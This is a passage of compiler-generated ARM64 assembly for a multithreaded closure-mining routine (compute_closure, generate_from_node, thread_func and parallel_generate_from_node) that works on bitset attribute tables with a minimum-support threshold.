_int_count_a@PAGEOFF] ldur w8, [x29, #-16] add w8, w8, w9 stur w8, [x29, #-16] b LBB7_13 LBB7_18: ; in Loop: Header=BB7_11 Depth=2 adrp x8, _int_count_o@PAGE ldrsw x9, [x8, _int_count_o@PAGEOFF] ldur x8, [x29, #-24] add x8, x8, x9, lsl #3 stur x8, [x29, #-24] b LBB7_19 LBB7_19: ; in Loop: Header=BB7_11 Depth=2 ldur w8, [x29, #-4] subs w8, w8, #1 stur w8, [x29, #-4] b LBB7_11 LBB7_20: ; in Loop: Header=BB7_9 Depth=1 b LBB7_21 LBB7_21: ; in Loop: Header=BB7_9 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB7_9 LBB7_22: adrp x8, _attributes@PAGE ldr w0, [x8, _attributes@PAGEOFF] bl _table_of_ints_init ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .globl _compute_closure ; -- Begin function compute_closure .p2align 2 _compute_closure: ; @compute_closure .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] stur x2, [x29, #-24] str x3, [sp, #32] str x4, [sp, #24] ldur x0, [x29, #-8] adrp x8, _int_count_a@PAGE ldrsw x9, [x8, _int_count_a@PAGEOFF] mov x8, #8 mul x2, x8, x9 mov w1, #255 mov x3, #-1 bl ___memset_chk ldr x8, [sp, #32] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB8_18 b LBB8_1 LBB8_1: ldr x8, [sp, #24] str xzr, [x8] str wzr, [sp, #12] b LBB8_2 LBB8_2: ; =>This Loop Header: Depth=1 ; Child Loop BB8_5 Depth 2 ; Child Loop BB8_8 Depth 3 ldr w8, [sp, #12] adrp x9, _int_count_o@PAGE ldr w9, [x9, _int_count_o@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB8_17 b LBB8_3 LBB8_3: ; in Loop: Header=BB8_2 Depth=1 ldur x8, [x29, #-24] ldrsw x9, [sp, #12] ldr x8, [x8, x9, lsl #3] ldr x9, [sp, #32] ldrsw x10, [sp, #12] ldr x9, [x9, x10, lsl #3] and x8, x8, x9 ldur x9, [x29, #-16] ldrsw x10, [sp, #12] str x8, [x9, x10, lsl #3] ldur x8, [x29, #-16] ldrsw x9, [sp, #12] ldr x8, [x8, x9, lsl #3] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB8_15 b LBB8_4 LBB8_4: ; in Loop: Header=BB8_2 Depth=1 str wzr, [sp, #8] b LBB8_5 LBB8_5: ; Parent Loop BB8_2 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB8_8 Depth 3 ldrsw x8, [sp, #8] subs x8, x8, #63 cset w8, hi tbnz w8, #0, LBB8_14 b LBB8_6 LBB8_6: ; in Loop: Header=BB8_5 Depth=2 ldur x8, [x29, #-16] ldrsw x9, [sp, #12] ldr x8, [x8, x9, lsl #3] ldr w9, [sp, #8] mov x10, x9 mov x9, #1 lsl x9, x9, x10 ands x8, x8, x9 cset w8, eq tbnz w8, #0, LBB8_12 b LBB8_7 LBB8_7: ; in Loop: Header=BB8_5 Depth=2 str wzr, [sp, #20] adrp x8, _int_count_a@PAGE ldrsw x8, [x8, _int_count_a@PAGEOFF] ldrsw x10, [sp, #12] ldrsw x9, [sp, #8] add x9, x9, x10, lsl #6 mul x8, x8, x9 ; kill: def $w8 killed $w8 killed $x8 str w8, [sp, #16] b LBB8_8 LBB8_8: ; Parent Loop BB8_2 Depth=1 ; Parent Loop BB8_5 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w8, [sp, #20] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB8_11 b LBB8_9 LBB8_9: ; in Loop: Header=BB8_8 Depth=3 adrp x8, _context@GOTPAGE ldr x8, [x8, _context@GOTPAGEOFF] ldr x8, [x8] ldrsw x9, [sp, #16] ldr x10, [x8, x9, lsl #3] ldur x8, [x29, #-8] ldrsw x9, [sp, #20] add x9, x8, x9, lsl #3 ldr x8, [x9] and x8, x8, x10 str x8, [x9] b LBB8_10 LBB8_10: ; in Loop: Header=BB8_8 Depth=3 ldr w8, [sp, #20] add w8, w8, #1 str w8, [sp, #20] ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB8_8 LBB8_11: ; in Loop: Header=BB8_5 Depth=2 ldr x9, [sp, #24] ldr x8, [x9] add x8, x8, #1 str x8, [x9] b LBB8_12 LBB8_12: ; in Loop: Header=BB8_5 Depth=2 b LBB8_13 LBB8_13: ; in Loop: Header=BB8_5 Depth=2 ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB8_5 LBB8_14: ; in Loop: Header=BB8_2 Depth=1 b LBB8_15 LBB8_15: ; in Loop: Header=BB8_2 Depth=1 b LBB8_16 LBB8_16: ; in Loop: Header=BB8_2 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB8_2 LBB8_17: b LBB8_27 LBB8_18: ldur x0, [x29, #-16] adrp x8, _int_count_o@PAGE ldrsw x9, [x8, _int_count_o@PAGEOFF] mov x8, #8 mul x2, x8, x9 mov w1, #255 mov x3, #-1 bl ___memset_chk str wzr, [sp, #16] b LBB8_19 LBB8_19: ; =>This Loop Header: Depth=1 ; Child Loop BB8_21 Depth 2 ldr w8, [sp, #16] adrp x9, _objects@PAGE ldr w9, [x9, _objects@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB8_26 b LBB8_20 LBB8_20: ; in Loop: Header=BB8_19 Depth=1 str wzr, [sp, #20] b LBB8_21 LBB8_21: ; Parent Loop BB8_19 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #20] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB8_24 b LBB8_22 LBB8_22: ; in Loop: Header=BB8_21 Depth=2 adrp x8, _context@GOTPAGE ldr x8, [x8, _context@GOTPAGEOFF] ldr x8, [x8] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] ldr w10, [sp, #16] mul w9, w9, w10 ldr w10, [sp, #20] add w9, w9, w10 ldr x10, [x8, w9, sxtw #3] ldur x8, [x29, #-8] ldrsw x9, [sp, #20] add x9, x8, x9, lsl #3 ldr x8, [x9] and x8, x8, x10 str x8, [x9] b LBB8_23 LBB8_23: ; in Loop: Header=BB8_21 Depth=2 ldr w8, [sp, #20] add w8, w8, #1 str w8, [sp, #20] b LBB8_21 LBB8_24: ; in Loop: Header=BB8_19 Depth=1 b LBB8_25 LBB8_25: ; in Loop: Header=BB8_19 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB8_19 LBB8_26: b LBB8_27 LBB8_27: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _generate_from_node ; -- Begin function generate_from_node .p2align 2 _generate_from_node: ; @generate_from_node .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] stur w2, [x29, #-20] stur w3, [x29, #-24] stur w4, [x29, #-28] str xzr, [sp, #16] ldur x8, [x29, #-16] adrp x9, _int_count_o@PAGE ldrsw x9, [x9, _int_count_o@PAGEOFF] add x8, x8, x9, lsl #3 str x8, [sp] ldr x8, [sp] adrp x9, _int_count_a@PAGE ldrsw x9, [x9, _int_count_a@PAGEOFF] add x8, x8, x9, lsl #3 str x8, [sp, #8] ldursw x9, [x29, #-20] ldursw x10, [x29, #-24] mov x8, #63 subs x8, x8, x10 add x8, x8, x9, lsl #6 ; kill: def $w8 killed $w8 killed $x8 str w8, [sp, #28] b LBB9_1 LBB9_1: ; =>This Loop Header: Depth=1 ; Child Loop BB9_3 Depth 2 ; Child Loop BB9_12 Depth 3 ldur w8, [x29, #-20] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB9_29 b LBB9_2 LBB9_2: ; in Loop: Header=BB9_1 Depth=1 b LBB9_3 LBB9_3: ; Parent Loop BB9_1 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB9_12 Depth 3 ldur w8, [x29, #-24] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB9_27 b LBB9_4 LBB9_4: ; in Loop: Header=BB9_3 Depth=2 ldr w8, [sp, #28] adrp x9, _attributes@PAGE ldr w9, [x9, _attributes@PAGEOFF] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB9_6 b LBB9_5 LBB9_5: b LBB9_30 LBB9_6: ; in Loop: Header=BB9_3 Depth=2 ldr w8, [sp, #28] add w8, w8, #1 str w8, [sp, #28] ldur x8, [x29, #-8] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] ldur w9, [x29, #-24] mov x10, x9 mov x9, #1 lsl x9, x9, x10 ands x8, x8, x9 cset w8, ne tbnz w8, #0, LBB9_8 b LBB9_7 LBB9_7: ; in Loop: Header=BB9_3 Depth=2 adrp x8, _supps@GOTPAGE ldr x8, [x8, _supps@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-20] add x8, x8, x9, lsl #8 ldursw x9, [x29, #-24] ldr w8, [x8, x9, lsl #2] adrp x9, _min_support@PAGE ldr w9, [x9, _min_support@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB9_9 b LBB9_8 LBB9_8: ; in Loop: Header=BB9_3 Depth=2 b LBB9_26 LBB9_9: ; in Loop: Header=BB9_3 Depth=2 ldr x0, [sp] ldr x1, [sp, #8] ldur x2, [x29, #-16] adrp x8, _cols@GOTPAGE ldr x8, [x8, _cols@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-20] add x8, x8, x9, lsl #9 ldursw x9, [x29, #-24] ldr x3, [x8, x9, lsl #3] add x4, sp, #16 bl _compute_closure adrp x8, _counts@GOTPAGE ldr x8, [x8, _counts@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-28] mov x10, #12 mul x9, x9, x10 add x9, x8, x9 ldr w8, [x9] add w8, w8, #1 str w8, [x9] ldr x8, [sp] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] ldur x9, [x29, #-8] ldursw x10, [x29, #-20] ldr x9, [x9, x10, lsl #3] eor x8, x8, x9 ldursw x10, [x29, #-24] adrp x9, _upto_bit@GOTPAGE ldr x9, [x9, _upto_bit@GOTPAGEOFF] ldr x9, [x9, x10, lsl #3] ands x8, x8, x9 cset w8, eq tbnz w8, #0, LBB9_11 b LBB9_10 LBB9_10: ; in Loop: Header=BB9_3 Depth=2 b LBB9_25 LBB9_11: ; in Loop: Header=BB9_3 Depth=2 str wzr, [sp, #32] b LBB9_12 LBB9_12: ; Parent Loop BB9_1 Depth=1 ; Parent Loop BB9_3 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w8, [sp, #32] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB9_17 b LBB9_13 LBB9_13: ; in Loop: Header=BB9_12 Depth=3 ldr x8, [sp] ldrsw x9, [sp, #32] ldr x8, [x8, x9, lsl #3] ldur x9, [x29, #-8] ldrsw x10, [sp, #32] ldr x9, [x9, x10, lsl #3] eor x8, x8, x9 subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB9_15 b LBB9_14 LBB9_14: ; in Loop: Header=BB9_3 Depth=2 b LBB9_25 LBB9_15: ; in Loop: Header=BB9_12 Depth=3 b LBB9_16 LBB9_16: ; in Loop: Header=BB9_12 Depth=3 ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] b LBB9_12 LBB9_17: ; in Loop: Header=BB9_3 Depth=2 ldr x8, [sp, #16] adrp x9, _min_support@PAGE ldrsw x9, [x9, _min_support@PAGEOFF] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB9_19 b LBB9_18 LBB9_18: ; in Loop: Header=BB9_3 Depth=2 b LBB9_25 LBB9_19: ; in Loop: Header=BB9_3 Depth=2 adrp x8, _counts@GOTPAGE ldr x8, [x8, _counts@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-28] mov x10, #12 mul x9, x9, x10 add x9, x8, x9 ldr w8, [x9, #4] add w8, w8, #1 str w8, [x9, #4] ldr x0, [sp] bl _print_attributes ldr x8, [sp] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w9, w9, #1 ldr x8, [x8, w9, sxtw #3] ands x8, x8, #0x1 cset w8, eq tbnz w8, #0, LBB9_21 b LBB9_20 LBB9_20: ; in Loop: Header=BB9_3 Depth=2 b LBB9_25 LBB9_21: ; in Loop: Header=BB9_3 Depth=2 ldur w8, [x29, #-24] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB9_23 b LBB9_22 LBB9_22: ; in Loop: Header=BB9_3 Depth=2 ldr x0, [sp] ldr x1, [sp, #8] ldur w8, [x29, #-20] add w2, w8, #1 ldur w4, [x29, #-28] mov w3, #63 bl _generate_from_node b LBB9_24 LBB9_23: ; in Loop: Header=BB9_3 Depth=2 ldr x0, [sp] ldr x1, [sp, #8] ldur w2, [x29, #-20] ldur w8, [x29, #-24] subs w3, w8, #1 ldur w4, [x29, #-28] bl _generate_from_node b LBB9_24 LBB9_24: ; in Loop: Header=BB9_3 Depth=2 b LBB9_25 LBB9_25: ; in Loop: Header=BB9_3 Depth=2 b LBB9_26 LBB9_26: ; in Loop: Header=BB9_3 Depth=2 ldur w8, [x29, #-24] subs w8, w8, #1 stur w8, [x29, #-24] b LBB9_3 LBB9_27: ; in Loop: Header=BB9_1 Depth=1 mov w8, #63 stur w8, [x29, #-24] b LBB9_28 LBB9_28: ; in Loop: Header=BB9_1 Depth=1 ldur w8, [x29, #-20] add w8, w8, #1 stur w8, [x29, #-20] b LBB9_1 LBB9_29: b LBB9_30 LBB9_30: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _thread_func ; -- Begin function thread_func .p2align 2 _thread_func: ; @thread_func .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _thread_queue_head@GOTPAGE ldr x8, [x8, _thread_queue_head@GOTPAGEOFF] str x8, [sp, #32] ; 8-byte Folded Spill adrp x8, _thread_intents@GOTPAGE ldr x8, [x8, _thread_intents@GOTPAGEOFF] stur x8, [x29, #-24] ; 8-byte Folded Spill stur x0, [x29, #-8] ldur x8, [x29, #-8] ldr w8, [x8] stur w8, [x29, #-12] b LBB10_1 LBB10_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-12] ldr x8, [x8, x9, lsl #3] adrp x9, _thread_queue@GOTPAGE ldr x9, [x9, _thread_queue@GOTPAGEOFF] ldr x9, [x9] ldursw x10, [x29, #-12] ldr x9, [x9, x10, lsl #3] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB10_3 b LBB10_2 LBB10_2: ; in Loop: Header=BB10_1 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldur x9, [x29, #-24] ; 8-byte Folded Reload ldr x9, [x9] ldursw x10, [x29, #-12] ldr x0, [x9, x10, lsl #3] ldr x8, [x8] ldursw x9, [x29, #-12] ldr x1, [x8, x9, lsl #3] adrp x8, _int_count_a@PAGE str x8, [sp, #24] ; 8-byte Folded Spill ldrsw x8, [x8, _int_count_a@PAGEOFF] mov x9, #8 str x9, [sp, #16] ; 8-byte Folded Spill mul x8, x9, x8 adrp x10, _int_count_o@PAGE str x10, [sp, #8] ; 8-byte Folded Spill ldrsw x10, [x10, _int_count_o@PAGEOFF] mul x9, x9, x10 add x2, x8, x9 mov x3, #-1 bl ___memcpy_chk ldr x13, [sp, #8] ; 8-byte Folded Reload ldr x12, [sp, #16] ; 8-byte Folded Reload ldur x9, [x29, #-24] ; 8-byte Folded Reload ldr x10, [sp, #24] ; 8-byte Folded Reload ldr x8, [sp, #32] ; 8-byte Folded Reload ldrsw x11, [x10, _int_count_a@PAGEOFF] mul x11, x12, x11 ldrsw x13, [x13, _int_count_o@PAGEOFF] mul x12, x12, x13 add x13, x11, x12 ldr x11, [x8] ldursw x12, [x29, #-12] add x12, x11, x12, lsl #3 ldr x11, [x12] add x11, x11, x13 str x11, [x12] ldr x11, [x9] ldursw x12, [x29, #-12] ldr x0, [x11, x12, lsl #3] ldr x9, [x9] ldursw x11, [x29, #-12] ldr x9, [x9, x11, lsl #3] ldrsw x10, [x10, _int_count_a@PAGEOFF] add x1, x9, x10, lsl #3 ldr x9, [x8] ldursw x10, [x29, #-12] ldr x9, [x9, x10, lsl #3] ldr w2, [x9] ldr x8, [x8] ldursw x9, [x29, #-12] ldr x8, [x8, x9, lsl #3] ldr w3, [x8, #4] ldur w4, [x29, #-12] bl _generate_from_node ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-12] add x9, x8, x9, lsl #3 ldr x8, [x9] add x8, x8, #8 str x8, [x9] b LBB10_1 LBB10_3: mov x0, #0 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _parallel_generate_from_node ; -- Begin function parallel_generate_from_node .p2align 2 _parallel_generate_from_node: ; @parallel_generate_from_node .cfi_startproc ; %bb.0: sub sp, sp, #192 .cfi_def_cfa_offset 192 stp x29, x30, [sp, #176] ; 16-byte Folded Spill add x29, sp, #176 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _counts@GOTPAGE ldr x8, [x8, _counts@GOTPAGEOFF] str x8, [sp, #48] ; 8-byte Folded Spill adrp x8, _thread_queue_head@GOTPAGE ldr x8, [x8, _thread_queue_head@GOTPAGEOFF] str x8, [sp, #56] ; 8-byte Folded Spill adrp x8, _thread_queue@GOTPAGE ldr x8, [x8, _thread_queue@GOTPAGEOFF] str x8, [sp, #64] ; 8-byte Folded Spill adrp x8, _thread_intents@GOTPAGE ldr x8, [x8, _thread_intents@GOTPAGEOFF] str x8, [sp, #72] ; 8-byte Folded Spill adrp x8, _thread_queue_limit@GOTPAGE ldr x8, [x8, _thread_queue_limit@GOTPAGEOFF] str x8, [sp, #80] ; 8-byte Folded Spill adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] stur x0, [x29, #-32] stur x1, [x29, #-40] stur w2, [x29, #-44] stur w3, [x29, #-48] stur w4, [x29, #-52] stur w5, [x29, #-56] stur xzr, [x29, #-72] ldur w8, [x29, #-52] adrp x9, _para_level@PAGE ldr w9, [x9, _para_level@PAGEOFF] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB11_4 b LBB11_1 LBB11_1: ldr x8, [sp, #64] ; 8-byte Folded Reload adrp x9, _parallel_generate_from_node.num@PAGE ldr w9, [x9, _parallel_generate_from_node.num@PAGEOFF] adrp x10, _threads@GOTPAGE ldr x10, [x10, _threads@GOTPAGEOFF] ldr w11, [x10] sdiv w10, w9, w11 mul w10, w10, w11 subs w9, w9, w10 stur w9, [x29, #-60] ldr x8, [x8] ldursw x9, [x29, #-60] ldr x0, [x8, x9, lsl #3] ldur x1, [x29, #-32] adrp x8, _int_count_a@PAGE str x8, [sp, #24] ; 8-byte Folded Spill ldrsw x8, [x8, _int_count_a@PAGEOFF] mov x9, #8 str x9, [sp, #40] ; 8-byte Folded Spill mul x8, x9, x8 adrp x10, _int_count_o@PAGE str x10, [sp, #32] ; 8-byte Folded Spill ldrsw x10, [x10, _int_count_o@PAGEOFF] mul x9, x9, x10 add x2, x8, x9 mov x3, #-1 bl ___memcpy_chk ldr x11, [sp, #24] ; 8-byte Folded Reload ldr x13, [sp, #32] ; 8-byte Folded Reload ldr x12, [sp, #40] ; 8-byte Folded Reload ldr x10, [sp, #48] ; 8-byte Folded Reload ldr x8, [sp, #64] ; 8-byte Folded Reload ldr x9, [sp, #80] ; 8-byte Folded Reload ldrsw x11, [x11, _int_count_a@PAGEOFF] mul x11, x12, x11 ldrsw x13, [x13, _int_count_o@PAGEOFF] mul x12, x12, x13 add x13, x11, x12 ldr x11, [x8] ldursw x12, [x29, #-60] add x12, x11, x12, lsl #3 ldr x11, [x12] add x11, x11, x13 str x11, [x12] ldur w11, [x29, #-44] ldr x12, [x8] ldursw x13, [x29, #-60] ldr x12, [x12, x13, lsl #3] str w11, [x12] ldr x11, [x8] ldursw x12, [x29, #-60] add x12, x11, x12, lsl #3 ldr x11, [x12] add x11, x11, #4 str x11, [x12] ldur w11, [x29, #-48] ldr x12, [x8] ldursw x13, [x29, #-60] ldr x12, [x12, x13, lsl #3] str w11, [x12] ldr x11, [x8] ldursw x12, [x29, #-60] add x12, x11, x12, lsl #3 ldr x11, [x12] add x11, x11, #4 str x11, [x12] ldr x10, [x10] ldursw x11, [x29, #-60] mov x12, #12 mul x11, x11, x12 add x11, x10, x11 ldr w10, [x11, #8] add w10, w10, #1 str w10, [x11, #8] ldr x8, [x8] ldursw x10, [x29, #-60] ldr x8, [x8, x10, lsl #3] ldr x9, [x9] ldursw x10, [x29, #-60] ldr x9, [x9, x10, lsl #3] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB11_3 b LBB11_2 LBB11_2: ldr x9, [sp, #80] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [x9] ldursw x10, [x29, #-60] ldr x9, [x9, x10, lsl #3] ldr x10, [x8] ldursw x11, [x29, #-60] ldr x10, [x10, x11, lsl #3] subs x9, x9, x10 ; kill: def $w9 killed $w9 killed $x9 stur w9, [x29, #-64] ldr x8, [x8] ldursw x9, [x29, #-60] ldr x0, [x8, x9, lsl #3] ldur w8, [x29, #-64] lsl w9, w8, #1 ; implicit-def: $x8 mov x8, x9 sxtw x1, w8 bl _realloc ldr x11, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #80] ; 8-byte Folded Reload ldr x10, [x8] ldursw x12, [x29, #-60] str x0, [x10, x12, lsl #3] ldr x10, [x8] ldursw x12, [x29, #-60] ldr x10, [x10, x12, lsl #3] ldursw x12, [x29, #-64] add x10, x10, x12 ldr x11, [x11] ldursw x12, [x29, #-60] str x10, [x11, x12, lsl #3] ldr x8, [x8] ldursw x10, [x29, #-60] ldr x8, [x8, x10, lsl #3] ldur w10, [x29, #-64] lsl w10, w10, #1 add x8, x8, w10, sxtw ldr x9, [x9] ldursw x10, [x29, #-60] str x8, [x9, x10, lsl #3] b LBB11_3 LBB11_3: adrp x9, _parallel_generate_from_node.num@PAGE ldr w8, [x9, _parallel_generate_from_node.num@PAGEOFF] add w8, w8, #1 str w8, [x9, _parallel_generate_from_node.num@PAGEOFF] b LBB11_46 LBB11_4: ldur x8, [x29, #-40] adrp x9, _int_count_o@PAGE ldrsw x9, [x9, _int_count_o@PAGEOFF] add x8, x8, x9, lsl #3 str x8, [sp, #88] ldr x8, [sp, #88] adrp x9, _int_count_a@PAGE ldrsw x9, [x9, _int_count_a@PAGEOFF] add x8, x8, x9, lsl #3 stur x8, [x29, #-80] ldursw x9, [x29, #-44] ldursw x10, [x29, #-48] mov x8, #63 subs x8, x8, x10 add x8, x8, x9, lsl #6 ; kill: def $w8 killed $w8 killed $x8 stur w8, [x29, #-64] b LBB11_5 LBB11_5: ; =>This Loop Header: Depth=1 ; Child Loop BB11_7 Depth 2 ; Child Loop BB11_16 Depth 3 ldur w8, [x29, #-44] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB11_33 b LBB11_6 LBB11_6: ; in Loop: Header=BB11_5 Depth=1 b LBB11_7 LBB11_7: ; Parent Loop BB11_5 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB11_16 Depth 3 ldur w8, [x29, #-48] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB11_31 b LBB11_8 LBB11_8: ; in Loop: Header=BB11_7 Depth=2 ldur w8, [x29, #-64] adrp x9, _attributes@PAGE ldr w9, [x9, _attributes@PAGEOFF] subs w8, w8, w9 cset w8, lt tbnz w8, #0, LBB11_10 b LBB11_9 LBB11_9: b LBB11_34 LBB11_10: ; in Loop: Header=BB11_7 Depth=2 ldur w8, [x29, #-64] add w8, w8, #1 stur w8, [x29, #-64] ldur x8, [x29, #-32] ldursw x9, [x29, #-44] ldr x8, [x8, x9, lsl #3] ldur w9, [x29, #-48] mov x10, x9 mov x9, #1 lsl x9, x9, x10 ands x8, x8, x9 cset w8, ne tbnz w8, #0, LBB11_12 b LBB11_11 LBB11_11: ; in Loop: Header=BB11_7 Depth=2 adrp x8, _supps@GOTPAGE ldr x8, [x8, _supps@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-44] add x8, x8, x9, lsl #8 ldursw x9, [x29, #-48] ldr w8, [x8, x9, lsl #2] adrp x9, _min_support@PAGE ldr w9, [x9, _min_support@PAGEOFF] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB11_13 b LBB11_12 LBB11_12: ; in Loop: Header=BB11_7 Depth=2 b LBB11_30 LBB11_13: ; in Loop: Header=BB11_7 Depth=2 ldr x0, [sp, #88] ldur x1, [x29, #-80] ldur x2, [x29, #-40] adrp x8, _cols@GOTPAGE ldr x8, [x8, _cols@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-44] add x8, x8, x9, lsl #9 ldursw x9, [x29, #-48] ldr x3, [x8, x9, lsl #3] sub x4, x29, #72 bl _compute_closure ldr x8, [sp, #48] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-56] mov x10, #12 mul x9, x9, x10 add x9, x8, x9 ldr w8, [x9] add w8, w8, #1 str w8, [x9] ldr x8, [sp, #88] ldursw x9, [x29, #-44] ldr x8, [x8, x9, lsl #3] ldur x9, [x29, #-32] ldursw x10, [x29, #-44] ldr x9, [x9, x10, lsl #3] eor x8, x8, x9 ldursw x10, [x29, #-48] adrp x9, _upto_bit@GOTPAGE ldr x9, [x9, _upto_bit@GOTPAGEOFF] ldr x9, [x9, x10, lsl #3] ands x8, x8, x9 cset w8, eq tbnz w8, #0, LBB11_15 b LBB11_14 LBB11_14: ; in Loop: Header=BB11_7 Depth=2 b LBB11_29 LBB11_15: ; in Loop: Header=BB11_7 Depth=2 stur wzr, [x29, #-60] b LBB11_16 LBB11_16: ; Parent Loop BB11_5 Depth=1 ; Parent Loop BB11_7 Depth=2 ; => This Inner Loop Header: Depth=3 ldur w8, [x29, #-60] ldur w9, [x29, #-44] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB11_21 b LBB11_17 LBB11_17: ; in Loop: Header=BB11_16 Depth=3 ldr x8, [sp, #88] ldursw x9, [x29, #-60] ldr x8, [x8, x9, lsl #3] ldur x9, [x29, #-32] ldursw x10, [x29, #-60] ldr x9, [x9, x10, lsl #3] eor x8, x8, x9 subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB11_19 b LBB11_18 LBB11_18: ; in Loop: Header=BB11_7 Depth=2 b LBB11_29 LBB11_19: ; in Loop: Header=BB11_16 Depth=3 b LBB11_20 LBB11_20: ; in Loop: Header=BB11_16 Depth=3 ldur w8, [x29, #-60] add w8, w8, #1 stur w8, [x29, #-60] b LBB11_16 LBB11_21: ; in Loop: Header=BB11_7 Depth=2 ldur x8, [x29, #-72] adrp x9, _min_support@PAGE ldrsw x9, [x9, _min_support@PAGEOFF] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB11_23 b LBB11_22 LBB11_22: ; in Loop: Header=BB11_7 Depth=2 b LBB11_29 LBB11_23: ; in Loop: Header=BB11_7 Depth=2 ldr x8, [sp, #48] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-56] mov x10, #12 mul x9, x9, x10 add x9, x8, x9 ldr w8, [x9, #4] add w8, w8, #1 str w8, [x9, #4] ldr x0, [sp, #88] bl _print_attributes ldr x8, [sp, #88] adrp x9, _int_count_a@PAGE ldr w9, [x9, _int_count_a@PAGEOFF] subs w9, w9, #1 ldr x8, [x8, w9, sxtw #3] ands x8, x8, #0x1 cset w8, eq tbnz w8, #0, LBB11_25 b LBB11_24 LBB11_24: ; in Loop: Header=BB11_7 Depth=2 b LBB11_29 LBB11_25: ; in Loop: Header=BB11_7 Depth=2 ldur w8, [x29, #-48] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB11_27 b LBB11_26 LBB11_26: ; in Loop: Header=BB11_7 Depth=2 ldr x0, [sp, #88] ldur x1, [x29, #-80] ldur w8, [x29, #-44] add w2, w8, #1 ldur w8, [x29, #-52] add w4, w8, #1 ldur w5, [x29, #-56] mov w3, #63 bl _parallel_generate_from_node b LBB11_28 LBB11_27: ; in Loop: Header=BB11_7 Depth=2 